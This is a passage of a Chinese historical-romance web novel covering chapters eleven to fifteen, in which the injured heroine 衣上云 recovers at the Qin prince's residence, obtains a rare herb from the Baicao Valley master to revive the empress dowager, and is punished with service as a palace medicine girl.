轩辕翰命令身旁的副将程良道。目光却从未离开衣上云,眼中全部都是心疼怜惜而又夹杂着让人甚至他自己都捉摸不透的表情。 寝殿就剩下他们俩个人,一个醒,一个昏迷。 他这才近身看到了她身上从悬崖上跌下的时候衣服已被划破,露出道道伤痕还都渗着鲜血。顿时皱起眉来拿起干毛巾轻轻地擦拭她额头上的雨滴,却一点都没注意到他自己全身也是湿漉漉的。 “魏明轩,魏明轩,你回来,回来......”衣上云忽然嘴里喃喃道,眼睛却一直都紧闭着。 是的,风寒发热的她明显已经神志不清了。 “魏明轩,你昏迷中喊着的这个名字,他对你很重要吗?”轩辕翰突然停下并收回了拿着毛巾的手说道。 这时,副将程良带着张嬷嬷端着汤药拿了干净的衣服刚好进来。 张嬷嬷一看到轩辕翰便欠身行礼道“殿下,让老奴来照顾姑娘吧”。 程良亦是近身后恭敬地致礼,却刚好听到了衣上云还在喃喃中的名字,亦是看到了自己主子脸上异样的表情。 程良是孤儿,他从小就被秦王轩辕翰收养授教,主子对他是恩人,是良师,亦是最亲的人,这辈子都是。 他深知主子在外人看来都是那么冰冷,其实主子的心里承受着这个世上最重的责任,战场上哪次主子不是第一个冲锋陷阵,以一敌百,守护西秦。 主子那满身窟窿和伤痕,都是一次次与死神抗争的见证。如果说这样的主子是冰冷的,那这个世界还有什么温度可言呢? 可眼下,主子明明对这个女人心生爱慕,主子的脸上时常会被他偷偷地发现难得温暖的笑容。 而今,这女人是不是发烧烧糊涂了,竟当着正处在热头上的主子面嘴里喊出另一个男人的名字,程良正疑惑着。 轩辕翰终于起身吩咐张嬷嬷道“好好照顾她”。 张嬷嬷颔首欠身领命“殿下放心”。 轩辕翰这才最后回头看了一眼仍旧昏睡在他榻上不醒人世的衣上云,方才安心迈着脚步离开。 张嬷嬷是秦王府唯一的女仆,她在秦王府本一直侍奉已故的太妃,太妃殁了后殿下看她年迈也无子女亲人无处栖身便依然留她在王府,她是看着这位殿下从小长到大的。 殿下天生尊贵却性情冰冷,除了太妃,从未见过殿下对哪个女人这么上心过。不对,即使太妃身体抱恙也未见殿下如此担忧之神色,难道..... “程副将,难道殿下对这姑娘真如府里这些奴才所言,这次真的......” 张嬷嬷问程良。程良嘴角一斜回应了她一个神秘的眼神后便追出去侍候了。 张嬷嬷自己领悟,心里顿时不禁有些窃喜。 她急急走到榻边想赶快瞧瞧殿下看中的这位姑娘的俊俏模样,一眼看上去只见这姑娘长得倒是眉目清秀得很,身形个头也还算高挑标致,只是有些单薄瘦弱,要是再胖点就好了。 “有张嬷嬷在,殿下就放心交给嬷嬷吧”张嬷嬷自言自语道,顿时都忍不住脑海里蹦出来一大堆补汤食谱来。 这么清秀俊俏的姑娘怎么会这幅装扮呢?张嬷嬷一脸狐疑。很快她便利索地帮衣上云擦干身体,处理好伤口,换上了一身干净舒适的衣服,去伸手一把摘掉了衣上云的蒙面纱。 “呦,这是怎么了” 张嬷嬷显然被衣上云眼旁的胎记吓了一跳,露出了一脸惊愕的表情,殿下知不知道这姑娘的胎记呢?她心里想着。 没一会她就顺利地喂好了药,张嬷嬷帮衣上云掖好被角便打算出去了。突然顿了一下,她速速出门去重新拿了一条新的面纱小心翼翼地帮衣上云戴上,她心想姑娘家爱漂亮,肯定自是不愿意被人看到脸上的胎记。 处理好一切这才安心地拿起衣上云换下来的衣裳出了门。 此时,轩辕翰沐浴后换上了一身锦白长袍,已经坐在承华殿的书桌边处理好桌上密函交给了副将程良。 “殿下,要不要属下打听一下这个魏明轩”程良思量了半天还是关切地问了句。 “多事”轩辕翰立马抬头回他一凌厉的眼神。最后他还是沉默着接过密函文件收声无奈的退了出去。 轩辕翰这时才流露出一副疲惫暗淡的神情,低着头两手交错伏在桌案上。或许这疲惫中更多的是那份失落——衣上云昏迷中嘴里喃喃的那个叫做魏明轩的名字吧。 魏明轩到底是谁?对她这么重要,以至于自己都性命不保了却还一直在唤着这个名字。 轩辕翰明显很介意这个名字,既然他对她这么重要,那这个人为什么会允许她独自一个人一次次做这么危险的事情,为什么不好好保护她。 “回来,这句话又是什么意思?难道魏明轩离开她了?”轩辕翰自言自语地沉思失落着的同时竟然露出一丝愤怒的表情,让人害怕。 外面的大雨早已经变得淅淅沥沥,轩辕翰起身来到窗边朝外面漆黑的雨夜里王府的灯火望着,像是要寻找些许温暖缓解一下他此时冰冷的心情。 却看到屋外院落里花丛下,雨水落下来打湿了枝头即将凋谢的花朵,一地的落花成泥。一如他现在的心情,却终化成了一声轻轻无奈的叹息声。 秦王府,这个沸腾了却也让人无眠的雨夜...... 第十二章:谷主有令 漫漫长夜,天终于亮了。 衣上云终于缓缓睁开来眼睛吃力地在床榻上坐起来。 身上的伤有些痛,她放眼看了看还是坚强地依稀隐忍起来。感觉头似是沉沉的,太难受不禁伸出手去揉了揉脑袋。 却突然发现自己坐在一张陌生的床榻上,这紫黑色的老紫檀木质床榻坚实,色泽发亮,手感沉重。雕刻装饰精巧华丽,看起来豪华又气派。 绣纹绸缎幔帐的质地亦是上乘,图案设计精美绝伦,床榻上的用品极致柔软舒适极了,这都不是寻常人家所能奢望受用的起的...... 正在她百思不得其解时,张嬷嬷端着洗漱用的物件走了进来,一进门就展现着满脸笑容乐道“姑娘终于醒了”。 “老人家,请问这里是何处?我怎么会在这儿?昨晚我不是......”衣上云欲言又止。 “姑娘叫我张嬷嬷吧,昨儿夜里倾盆大雨,姑娘受伤还染了风寒,是我们殿下带你回来的”。 张嬷嬷一边忙着打湿手里的毛巾一边回答她。 “殿下?这里是?”衣上云吃惊地急急问。 “这里是秦王府,我们殿下自然就是西秦秦王啊”。 “什么,秦王府,秦王轩辕翰的府邸”衣上云挑眉竟大声惊呼道,差点从床榻上站起来。 “嘘,姑娘这可使不得,秦王殿下的名讳可不是随便谁都能直呼的”张嬷嬷一边小心翼翼地嘘声阻止她,一边递过来毛巾给衣上云擦洗。 衣上云听闻立即收声露出一脸慌乱无措的表情来,小心翼翼接过毛巾。 “张嬷嬷,小女已经好多了,谢谢嬷嬷的悉心照料。只是小女还有很重要的事情要办,嬷嬷可否带小女前去当面谢过秦王殿下,小女方可离开处理要事呢?”。 衣上云当然清楚的记得她的极品铁皮石斛至今可都还渺无音讯呢。 今天已经是和璟帝约定的第二日了,明天一到要是再交不出的话她就真的要脑袋搬家了。她还是惜命的,可没想要英年早逝啊。 “姑娘还是先起身过来用过早膳,之后老奴就带你过去”张嬷嬷关切地说。 说罢很快张嬷嬷拿来了已经浣洗干的衣上云的衣服给她,在屋内用完一桌丰富的早膳后便带路领着衣上云朝着轩辕翰的承华殿走去。 刚走至殿前回廊,守在大殿外的副将程良看到了二人便朝着走了过来慰问。 “姑娘醒了,姑娘可还感觉哪里有不舒服吗”看衣上云一直以陌生的眼神盯着自己,他便意识到还尚未介绍,便急急解释道。 “哦,在下是秦王殿下的副将,姑娘叫我程良便可”。 衣上云这才明白过来欠身行礼“程将军,小女有礼了,感谢将军和秦王殿下昨夜的救命之恩。小女是过来特地致谢并告辞的,因为小女却有要事要办,还望将军通报一声”。 “姑娘,我们殿下每日都要早朝。早已经出门进宫了”程良说。 见衣上云露出失望的眼神,程良继续道“不过殿下出门时交待属下告诉姑娘不用刻意致谢,我和殿下只是凑巧路过偶遇才出手相救,姑娘不必挂怀”。 程良说着斜眼朝着承华殿的窗户看了一眼。他的主子可是至今都一夜未眠,此时正在承华殿的窗前看着听着外面这里的一切呢。 “如此不巧,那小女先行告辞,改日再登门道谢”衣上云有些失落地说着。 “姑娘可还是要再去百草谷,再下正好也有事要前往,不如让再下陪同姑娘一道如何?”主子一大早可就喊他过去交待他,今天他只办妥这一件事情即可,程良说着。 衣上云想,多一个人也许多一个办法,想必依仗秦王府的权势或许有时候能给她带来一些方便也不未可知。 如今她的时间已然不多了,也来不及思考利用王府名义是否合适,便脱口就答应“那就有劳将军了”。 “姑娘客气” 说完,两人便一同出门上马朝着位于西秦国东北角的百草谷出发而去。 此时,一直站在承华殿窗内看着的轩辕翰见二人走远了才独自走出承华殿来,穿过回廊来到林月轩自己的寝宫里。 他走进来的时候张嬷嬷正在收拾整理床榻。 张嬷嬷突觉身后有人,便回头看见秦王已然进来,便急急欠身行礼,轩辕翰用一贯冰冷但今天充满血丝的眼睛示意她退下。 一室寂静,他拖着那双疲惫的红眼睛坐在榻边一直盯着紫檀木床榻上衣上云躺过的地方看了许久后起身来。 收回了似是永远冰冷的神情后起身轻轻掩上门褪去了锦白长袍外衣,朝榻边踱步过去再次落座倒吸口气缓缓躺了下来,而一躺下脑海里却全部满满闪现出的全是衣上云相关的一幕一幕...... 不知道过了多久,疲惫至极的他终于渐渐闭上了眼睛。 衣上云和程良二人一路疾驰策马,从街市上的百草堂门前一闪而过。 正在一楼大厅的易君浩不知道发生了什么高兴的事正对着客人爽朗的开怀大笑,那笑声是那样的恣意。 忽然看到熟悉的身影他立马撇下那客人夺门而出,险些撞上了上门求药的病人。 而等他追出来的时候,却只看到了衣上云留在街角的最后一抹倩影。 “还好,你没事”。 易君浩望着仅有的这个背影,露出一脸担忧的表情喃喃自语道。 “看丫头这着急的架势和所去的方向,莫非是要去......”易君浩立刻反应过来,目光一定也迅速上马策马飞驰跟随而去。 明显他已经猜到衣上云这是又要去神农百草谷了。 “昨夜攀岩没有成功,丫头淋了雨还受了伤。这才修养过了一夜,今天天一亮就又上山了,丫头到底是有多紧急的情况。”三少一边急急策马一边说着。 很快,衣上云和程良到达了神农百草谷的入口。 但他们俩都没想到的是这回入口竟然站着两个身着精美杏色绣花衣裙的女子。 “难道昨夜被发现了,百草谷加强了防守”衣上云说着有些心虚地和程良眼神对视了一下下马来,朝着女子二人走过去。 “姑娘可是衣上云”其中一个略微高挑点的女子见他们走过来便低眉问道,语气里有几分轻蔑。 “敢问姑娘如何知晓小女的闺名”衣上云不解地问。 “姑娘不必多问,既然是为求药而来,就请随我入谷吧,不过这位公子......”女子看着程良一眼说道,语气里带了更多的轻视。 衣上云也看向程良,只见程良左手缓缓拿出一面尽显大气的铜质令牌,上面雕刻着“秦王府”三个字,衣上云一见便露出一脸的敬畏之态。 于是程良说道“你们这两个臭丫头,竟然连秦王府都不放在眼里,小心本将军改天将这个谷夷为平地”。 “哼,好大的口气。不过谷主有令,今日能入谷的只有一个叫衣上云的人”俩个女子见此令牌却是一脸不屑的表情。明显他们把西秦朝堂乃至西秦皇族一点也不放在眼里。 程良此时眼里冒出了冲天怒火,迅速收回左手的铜令牌,同时右手下去准备拔出腰间的佩剑,衣上云眼疾手快见状立刻近身过去伸出手阻止道“程将军,莫要冲动”。 一大早他的主子就交待一定要他在百草谷内寸步不离保全衣上云的安危,而今却被两个黄毛丫头拒之门外。 那也算了,竟然连秦王府秦王的面也不给,这神农百草谷是活腻了不成,程良低眉暗自想着,有些咬牙切齿。 “程将军放心,他们既然敢当着秦王府的面带我入谷,想必也不会对我怎么样,将军且安心在外等候便是”。 衣上云说这话的时候声音故意提高了些,自是也给旁边那两个女子听的。她颔首示意程良放心。 “如此,我便在此地等你,姑娘小心,速去速回”。 程良虽平静地对衣上云说了这句话,然内心却还是又气又恼却也无可奈何,世人皆知神农百草谷的毒障可不是闹着玩的,没有先服下解药便入谷,定是有去无回。 说服了程良,衣上云便独自朝着两个女子走了过去。 三人一行刚转身,另一女子递过来一粒紫色小药丸给衣上云道“姑娘请安心服下,可以让你不被百草谷这毒障所伤”。 衣上云随即速速将紫色药丸服下后,方才一同朝着山谷入口而去。 衣上云早就按捺不住满腹的欣喜,迫不及待着想要一睹这西秦国第一药谷的真面目了,想着想着便不由得脚下都变得轻盈起来自觉加快了步伐。 一走过入口,衣上云便惊呆了。 “哇,这里怎么会” ...... 第十三章:仙境,极品铁皮石斛 三人同行一走过山谷入口,衣上云便被眼前的广阔世界惊呆了。 青山、碧水、奇石、紫竹林、鸟语花香、一望无际的药田......山谷里烟雾缭绕,简直像极了仙家的修仙之地。 “哇,这里怎么会......” “这山崖后面俨然另一个与世无争的世界,像被凡尘遗忘的角落,数千里连绵起伏望不到边际的群山围绕着整个山谷”。衣上云惊讶地喃喃自语,紧跟着两个宛如仙女的脚步。 她还真从未见过如此大规模和地形奇特的草药山谷,比21世纪所有她见过的药谷都要广阔且神秘。 “两位仙女姐姐,这个药谷就只有你们俩在打理吗?”衣上云追上去颇为惊讶地问了句。 “是啊,这药谷除了谷主大人,就只有我们二人。”两个女子挑眉看着衣上云,一边走那个其中比较高挑的女子回答她。 接着女子继续说“你这丫头,看你跟我们年纪相仿,你就不要叫我们姐姐了,我叫白芷,她叫紫苏”。 “白芷姐姐,紫苏姐姐,那以后云儿就这样称呼你们可好?”衣上云嘴甜如蜜,三人一路有说有笑,倒是很快就熟络了。 衣上云进来才发现神农百草谷的入口左右两边是高大而又绵长无边的山脉线,山间悬崖峭壁怪石林立,阴阳两面及四周都很适合许多珍贵不可多得的神奇药草的生长,可谓是遍身是宝了。 药谷与世隔绝。原来不止山谷外面有河道围绕山脚,山谷里面亦是如此。 而这河道的水和外面河道的水一样都是来自山崖上雄伟壮丽的大瀑布。瀑布从山上分成好几股注入山脚下两边的河道,灌溉着这个神奇的药谷, 抬眼望去,这瀑布气势磅礴,一泻千里,水汽很大,甚是壮观,河道内的水更是清澈碧绿见底。 漫长的河岸线看不到头,只见远方隐隐有现着一座座青山的影子,置身其内的人感觉恍如谪仙一般。 “白芷姐姐,紫苏姐姐,居住在这样美的世外桃源,难怪两位姐姐如同谪仙般秀美”衣上云心情似乎很好。 “这丫头,嘴巴挺甜的,难怪谷主大人对你......”白芷还没说完,紫苏紧忙扯了扯她的衣袖,示意她不要暴露太多谷主的信息给外人,衣上云看到也没有再继续追问下去。 漫山遍野的千年古树、山花烂漫,成片的药草安静自在地生长散发出沁人心脾迷人的芬芳,和谷内特有的气候完美的融合在一起。 蓝天白云、阳光明媚,漫步在这样的山间,氧气十足,使人瞬间感觉身心轻松,精神百倍。 一路过来竟然看到了许多天然的药浴池亭子,如果能在这样自然舒适的环境里泡个最天然无害的药汤来疏通经络,怕是连神仙都不忍再离去吧。 约摸走了大半个时辰后,前面不远处一片郁郁葱葱茂密的树林后面,隐隐约约现出了一片红顶的木屋群院落,院子就对着瀑布而立。 “两位姐姐,我们是不是快到了”衣上云看到木屋群后开口问道。 “就在前面了”紫苏指着木屋群的方向说道。 全都是一些独具特色却统一红顶的木结构建筑,院子里凉亭、长廊、木桥、人工设计的小桥流水十分雅致独特,院子内外周围亦是一片有益身心的天然仙草和繁花。 “丫头,你先在这休息等候着吧”白芷道。 两个女子示意她在院子里的凉亭内稍作休息,便进去中间最大的一个名唤“逍遥阁”的三层木屋里。 衣上云一路激动着,此时才稍感疲惫不适,随即坐了下来。 忽然一只漂亮的小鸟停在她身旁的护栏边,嘴巴漆黑,脚灰褐色,朴素大方。衣上云一看到它领带式样的黑斑标志,便肯定地认出来了这是一只珍贵的“牧师鸟”。 “百草谷竟然有这样稀罕的观赏鸟,真是不可思议。”衣上云喃喃道。 却突然发现牧师鸟的腿受伤在流血,她连忙从袖中拿出一方丝帕精心地帮它包扎好伤口,抚摸了摸它的身体许久后才将它放飞出去。 而这一切正好被刚刚打算从逍遥阁里走出来的易君浩着谜般痴痴地看入眼里,他躲在门旁静静地看着她是如此温柔善良。 微风拂过她的脸庞轻轻吹动她脸上轻柔的面纱,此情此景就是一副世间最美好的图画。他都不忍心打扰,想永远将她定格在这样静好的时光里。 终究他还是迈起潇洒不羁的脚步朝衣上云走了过去。 衣上云看着牧师鸟安全地飞走正要转过身来,便看到了立在眼前朝她微笑着的红袍墨发半束的桃花眼男子,惊道“你是......谷主大人?” “衣大小姐,我们又见面了”易君浩用极尽温柔的眼神凑近到她身前微笑着说。 “是你”衣上云惊讶。 “百草堂,百草谷,原来都是三少的产业,三少年纪轻轻便有如此作为,小女子实在佩服”。 “衣大小姐,你漏了一个”易君浩用有些玩味的语气提醒衣上云。 衣上云慌忙从记忆力搜索“漏了一个,是什么呢?” 看着衣上云一脸狐疑,易君浩说道“五蛊丸”。 衣上云立马怔大了那双好看的凤眼惊道“莫非那日的铃医也是你”。 “哈哈哈哈哈.....”此时易君浩发出了极尽豪迈的笑声,这笑声很大,震彻山谷。或许是因为他等衣上云上门这一天,已经等了太久,而终于等到了这个丫头的到来。 “你还忘了一事,你拿了我的九死还魂草,我说的对吗”三少索性一起与她秋后算账。 衣上云立马怔住了,原以为自己神不知鬼不觉地盗取仙草,原来早已被发现。此时她一脸绯红地着实不好意思。 “罢了,都给你了。谁让你人美心也美呢。只是,今天这一趟又是......”易君浩顿了一下问道。 衣上云这才想起自己此行的目的来道“三少,这次我想求极品铁皮石斛,没有它,我和父亲乃至整个衣府上下恐怕都要性命不保了。三少可否帮我,日后如有需要,我定竭尽全力。此事恐怕只有三少可以相助了”。 衣上云说着,脸上露出对易君浩满脸的希冀和期待之态。 “区区一株极品铁皮石斛,竟然就能要了你全家的性命。用药的人看来也是无能至极了,竟以此来威胁一个弱女子”。 说着他右手一扬,白芷便端着一只木质精雕小药匣走过来到衣上云面前。 衣上云打开一看激动地差点眼泪都掉出来,昨晚大雨,她为此差点都命丧山脚,而此时竟然不费吹灰之力便得了仙草。 仙草保存地极其好,就像刚采摘下来甚是新鲜。她激动地都不知道说什么感激的话了“三少,我......”。 她刚开口,三少却扬起手来阻止了她。 “即是救命,那就赶快先去办你的事儿,日后我自会跟你讨债”三少言语严肃,表情却是一副满不在乎的模样。 世人都说百草谷谷主极难说话,而衣上云却什么都没做,就拿了他这么多仙草。她还真的不知道自己怎样才能还清他这些人情。她拿的随便一种药草,可都是价值不菲的。 衣上云得了仙草道了谢便告辞急急出谷去找程良。 而此刻程良在入口处一直担心着,他一步也不敢离开,他都开始后悔答应让衣上云独自入谷。 要是主子知道了肯定要了他的命,而此时看到她安然无恙地走出来,才觉得一颗七上八下的心终于又属于自己了。 “姑娘,没事吧”。 衣上云抿起嘴微笑着朝他扬一扬手中的木质小药匣,示意他已得手,两人便匆匆往皇宫里赶去。 此刻,天已经黑了。 轩辕翰正在宫中同璟帝议事,却似乎有些心不在焉。他知道他们俩今晚无论有没有取到药一定会回到宫中,所以早早便到了宫内候着。 “皇上,罪臣之女衣上云求见”。 一个公公慌慌张张地进来禀告,大家都知道明天就是三天之约的期限了,这个时候都避讳地远远地,生怕龙颜大怒被牵涉。 “传”璟帝下令道。 ...... 第十四章:惩罚,死罪可免活罪难饶 “皇上,罪臣之女衣上云求见”。 一个公公慌慌张张地进来禀告,大家都知道明天就是三天之约的期限了,这个时候都避讳地远远地,生怕龙颜大怒被牵涉。 “传”璟帝立刻下令道。 璟帝看了一眼身旁端坐的轩辕翰,轩辕翰亦是以同样的目光看了璟帝一眼,许是都有些惊讶。 衣上云一步入大殿内看见两位冷峻严肃高高在上的西秦国主子心里却一点也不感到畏惧,她缓缓走进俯首下去跪拜。 “臣女参见陛下万岁,参见秦王殿下千岁。极品铁皮石斛臣女已如期寻回给御药房查验并制。请陛下与秦王殿下移步永安宫,药效稍后两位便会见分晓”。 “衣上云,你最好祈求上天庇护,否则这个罪可不是你能承受得起的”。 璟帝皱眉狠狠地说道同时起身朝永安宫方向走去。 轩辕翰亦是一脸冷峻紧随其后。只是当走过衣上云身边的时候他右手负手而立放低下巴微微抬眼目视着前方顿了一下,也只是一下而已,好似欲言又止,竟连她看都没有看一眼。 衣上云见此茫然着却有种莫名的味道“殿下,谢谢秦王殿下昨夜的救命之恩,云儿将永生铭记于心。” 轩辕翰自是没有回答她,便径自踱步出门去。 众人进去的时候,张院判已经给太后针灸过,药女正在喂她含有极品铁皮石斛的汤药。药汤一汤勺一汤勺地缓缓流入太后的口中,因为昏迷所以花费了许久终于药女将一碗药汤艰难地全部喂完才站起身退下靠在一边。 在场所有人都在等,等着奇迹的发生,这种等待充满着浓郁的让众人不安的气氛...... 半晌过后,太后依然纹丝不动,昏睡不醒,璟帝看起来也越来越沉不住气,周围众人也都一个个屏住呼吸翘首期盼着,看到璟帝一脸的阴沉之色,吓得没有一人敢出声甚至都不敢大喘气一下。 如果太后醒不来,别说衣上云,就是这些近身侍候的宫女太监们,每日请平安脉的太医医女们,哪个脱得了干系。 此时几乎每个人都渗着冷汗,等着盼着极品铁皮石斛的仙草之效能挽救他们的性命。 “来人,给朕拖下去”,璟帝终于再也按捺不住心底的怒火开口下令道。轩辕翰亦是急急抬眼朝他看去正准备开口说话。 “太后娘娘,太后娘娘醒了,太后娘娘醒了”。 就在这千钧一发之时,一名近身侍候的宫女惊喜地大喊着,随即全部人都放眼看了过去。此时便传出来太后所发出的轻盈的喃喃之音。璟帝和轩辕翰同时慌忙靠近了过去。 只见璟帝顿时脸上阴霾散去,换做喜逐颜开,舒展眉心露出了万分欣喜的表情。 “母后,你终于醒了”璟帝坐在太后的榻边握着太后的手甚是激动地说着。 “皇帝,哀家这是怎么了”太后一边问,一边想要坐起来。璟帝赶忙伸出手将其扶起身靠着,将事情的经过细细讲了一遍。 “那这个姑娘如今何在?”太后问道。 “回太后,奴婢便是罪臣之女衣上云”衣上云迅速跪倒在太后面前来俯首回太后话。 “就是你啊,你为何在殿前遮面呢”太后似是有些疑惑地问。 “回太后,因为臣女丑陋,怕冲撞到太后和主子们,故以面纱遮掩,望太后恕罪”衣上云小心地回禀。 “原来如此,这么说哀家的命,是你救的了”。 “臣女惶恐,家父失职,还望太后开恩饶家父一命”。 “倒也是个孝顺的丫头,皇帝,暂且放过他们一回吧”太后慈祥地微笑着对璟帝说。 “既然母后亲自开口替这奴才求情,儿臣暂且饶过他们性命。不过死罪可免,活罪难饶。你既对药草颇有所长,那朕就罚你去御药房领差做个药女吧。中秋将至,佳节过后即刻前往报到,不得有误”璟帝下令道。 “谢陛下恩典,臣女领旨”衣上云叩拜谢恩,声音是无比的坚定,轩辕翰自是没料到璟帝会做出这样的决定。 宫里的生活,以她的性格真的适合吗?他心里担忧着。 龙颜大怒,一场虚惊后,众人散去。轩辕翰依旧一脸冰冷寡言低着眼睛,走到还在地上俯首跪着的衣上云身旁时,又一次顿足低眼斜视而去,衣上云此时并不知道他在看着她,依旧乖乖俯首跪着。片刻后,轩辕翰收回视线深吐一口浊气抬头匆匆踱步走出了永安宫。 独自走在回衣府的路上,附近的街市,衣上云远远就看到了满街市火红的花灯,近看一盏盏造型各异,纱绢上绘制了山水、亭台楼阁,花鸟鱼虫,还有栩栩如生惟妙惟肖的小人儿像,各种喜庆吉祥的图案再加上饰品的装饰,真正的一片五彩缤纷。 是啊,距离中秋节已经越来越近了,可这个西秦国一点也不好玩,这么久了,难道真的回不去了,衣上云心想着突然有些空落落的感觉不自觉露出丝丝失落的表情。 一进到衣府大门,就看到厅堂里一片灯火通明,人声鼎沸。却没有人发觉她回来了,她顿了一下足,有些失落地走进去。 “云儿给父亲请安,父亲受苦了”。 衣上云进来这才明白是父亲已被释放了,她忙过去欠身跟衣上坤行礼。 这个时候所有人才发现她的归来,即刻每个人都清了清嗓门恢复了本来应有的面目和姿态,只有衣上坤却不同于往日对她的冷漠态度。 他将目光转向衣上云怔了一下叫她起身,然后慢慢朝她走过去道:“听说这次是你前往宫中冒死谏言要寻回极品铁皮石斛代老夫将功赎罪的?” “父亲,这是为人子女应尽的本份,父亲不必挂怀”衣上云亦是满脸认真地回答,她只不过是想在这个时代寻一隅安身之地而已,并没有什么其它伟大的想法。 “但如今陛下着令你入宫为药女,你当真愿意进宫?”衣上坤点了点头对这个女儿有些另眼相看,竟然关心起她来。 “父亲此言差矣,皇命难违,况且陛下说的很清楚,这是惩罚,死罪可免活罪难饶,岂容我不愿意呢”衣上云一脸正经和平静地说。 “如此,老夫记住了,终究还是老夫误了你......这几天你也辛苦了,先下去好好休息吧”衣上坤似是有话要讲却终于还是没能说出口。 衣上坤想,她被退婚已然是事实,与其在府中孤老,不如在宫中找点事做,分分心思也是好的。 当然对他最重要的是要守住她那神秘的身份,这是关乎太多人性命乃至整个灵空大陆的事情。 想着想着,他的眉头不自觉皱了起来陷入一片无底的沉思之中,好似再也化不开。 “老爷......”年氏看着这一切,悄悄走到衣上坤的身边来与衣上坤四目相对摇了摇头,她自是示意衣上坤现在还不是告诉这个女儿秘密的时候,这个府里也就年氏真正懂得衣上坤一直以来的担忧和无奈了。 衣上坤随即也摇了摇头,深深地叹了口气。 兰姨娘一直坐在一旁的桌案边,一脸的狐疑表情,她的一双儿女见状朝她走了过去伸出双手扶着她的一双胳膊与她对视着。他们自是不知衣上坤和年氏有多么大的秘密是她所不知道的。 她只当是衣上云是个不受宠被冷落的无用废柴丑女,但如今却是她挺身舍命救了衣上坤出狱。她确实替她的这双宝贝儿女有点尴尬。 但她相信只有她的儿女才会是衣府未来的正主,衣上云这辈子都不会再对她构成威胁了,因为她的脸和她的名声一样,已经彻底毁了。 所以她并不在乎衣上云做了什么。只是觉得这丫头自从醒来本事倒是真见长了,也幸亏她现在要入宫为药女了,从此便再也不会碍着她的眼,倒也罢了。 秦王府里,程良见轩辕翰回府,急急朝着承华殿走去。 第十五章:中秋赐婚 秦王府里,程良见轩辕翰回府,急急朝着承华殿走去。 “殿下,衣上坤已经从大理寺回府了”程良一收到手下暗卫报告来的消息得知轩辕翰已在宫中等候,便将衣上云送到皇宫交代宫中的眼线护送后,自己便去了大理寺等好消息。 轩辕翰依旧冰冷的语气说:“本王知道了,中秋节后将暗卫都撤回来吧”。 程良急问“殿下,发生何事?”轩辕翰没有回答,一如往常的惜字如金。 许久后却问了句“婆婆的事查的可有进展了?” 程良摇了摇头,有些无奈道“现在灵空大陆四国之间边境上大小战事时有发生,婆婆说的人,属下查遍西秦全部士兵的花名册根本就没有找到,也包含了阵亡名册。不过属下听说有些国家黑市上有贩卖奴隶的交易,莫不会......”程良没有再说下去。 “且让她婆孙先住在王府吧,再等等看。过几个月再做打算,她家里安排两个人暗中守着,如果她儿子还活着,就一定会回家”轩辕翰说。 “殿下英明,属下这就去安排。殿下,还有一事......”程良欲言又止看了一眼轩辕翰,终于还是开了口“今日神农百草谷,属下未能入谷,谷主下令,只许衣小姐一人前往”。 轩辕翰一脸惊愕,更多的是后怕和担忧,迅速抬头厉声训斥道“怎么办事的?” 程良见秦王怒了,急急禀道“殿下息怒,衣小姐毫发无损,并且她说,在谷内她什么都没做,谷主也没有对她提出任何要求便赠药了”。 百草谷谷主一向不做亏本买卖,他到底有什么目的,轩辕翰一边听着一边陷入深思。 这个谷主身份十分神秘诡异,且与朝中众大臣也时有交好,最关键的是他们的人根本无法接近更别说监视他了,着实让他有些苦恼。 轩辕翰摆了摆手,程良便轻轻掩上门退了出去。 轩辕翰靠在坐榻上一脸凝重,中秋节眼看就要到了,他还有很多事都没有头绪。 随手一摸,便触摸到衣袖中那条熟悉的“云”丝帕,衣上云应该还不知道他就是那夜山谷中曾施救过的伤者吧,随之拿出来在手中看着看着就入了神,不禁喃喃道:魏明轩...... 转眼三秋正中中秋佳节如期而至,西秦国内上下普天同庆。 夜空里高挂一轮白玉盘样的朗朗明月,无论是平常百姓还是帝王之家皆是家家户户都在院中设下了大香案,摆满各种月饼、水果、时鲜、点心等祭祀用品举行焚香祭月活动。 夜幕刚刚降临,燕儿便像只小鸟般踱着欢快的脚步奔上了明月阁衣上云的阁楼。人还未至声音已经响了起来。 “小姐,小姐,我们去逛街市吧。今日中秋佳节,街市上肯定非常热闹。走吧,走吧,不要整天闷在阁楼里了,你都快变成霉小姐啦”。 燕儿一直不停的说着可完全没有给衣上云应答的机会,只迫不及待拉着她一路小跑出府。 衣上云本来是准备收拾明天御药房报到的行礼的,心里自是有些不舍的伤感在里面。毕竟衣府才是最适合她的地方,也是原主最熟悉的地方。 但是一到街市,她还是被眼前的美景深深吸引住,显然只过去几天而已却完全已经不是她之前每每经过所见的熟悉的街市了,店家似乎全都重新装扮了小店似的一片喜庆之色。 满城的桂花香气扑鼻而来,桂花酿的酒香更是传遍整个大街小巷。 古人的中秋节,果然比21世纪的丰富多彩,正是“海上明月升,天涯共此时”衣上云甚是惊讶入迷地望着。 一盏盏造型各异的花灯里的蜡烛将这街市照射地一片灯火通明,让原本寂静的夜市在今夜变成了一个名副其实的不夜城。 只见那灯上都写着一个“谜”字,诗谜书于灯,映于烛,任凭街上过往行人俊男靓女随意猜度。 河道上亦是一盏盏精美至极的小水灯随着水流的方向漂浮其上,宛如这夜空中的繁星点点,十分壮观。 这时,前方突然迎面来了一条用藤条弯曲成骨架,稻草样物品扎成身子蜿蜒起伏的巨型火龙,龙身插满香火。竟然还设计了龙牙、眼睛、舌头、龙珠配合的惟妙惟肖栩栩如生,由一群年轻的男子挥舞疾跑游走在大街小巷,十分好看。 街上的孩童都一手拿着兔儿饼舔食着,另一手提着各不相同的花灯比较着谁的更特别,仿佛都觉得自己的灯才是那最漂亮的一个。 衣上云惊呆了,眼花缭乱地看着眼前这一切,却突然发现燕儿不知什么时候竟然走散了,街上行人络绎不绝,人山人海。衣上云踮起脚尖在人群中寻觅着。 突然有人从后面拍了她的肩膀,她迅速地回头吃惊地喊了一声“三少,怎么是你啊”。 来人正是十分妖艳的桃花眼美男易君浩易三少。他一袭大红锦衣长袍,墨发半束,鬓边依旧飘洒着俩捋尽显潇洒随性的青丝。 “丫头,中秋节没约心上人,怎么一个人在街上溜达”易三少玩味十足又有些试探的口吻问道。 “三少就别取笑我了,全西秦皇城人都知道我被退婚了,谁还敢约我,三少不会不知道吧?”衣上云低着头说。 “是吗,如此甚好,那以后你就跟着哥哥我吧,怎么样?”三少说出这句话的时候显得是那样的轻松随意,却一点都不让人感觉是在开玩笑。 “三少,你又拿我开心了”衣上云有些难为情,说完便低头拧起自己的衣襟来。 易三少这才意识到自己所言有些冒昧了便挑眉道“开玩笑呢,丫头,你不会当真了吧?”。 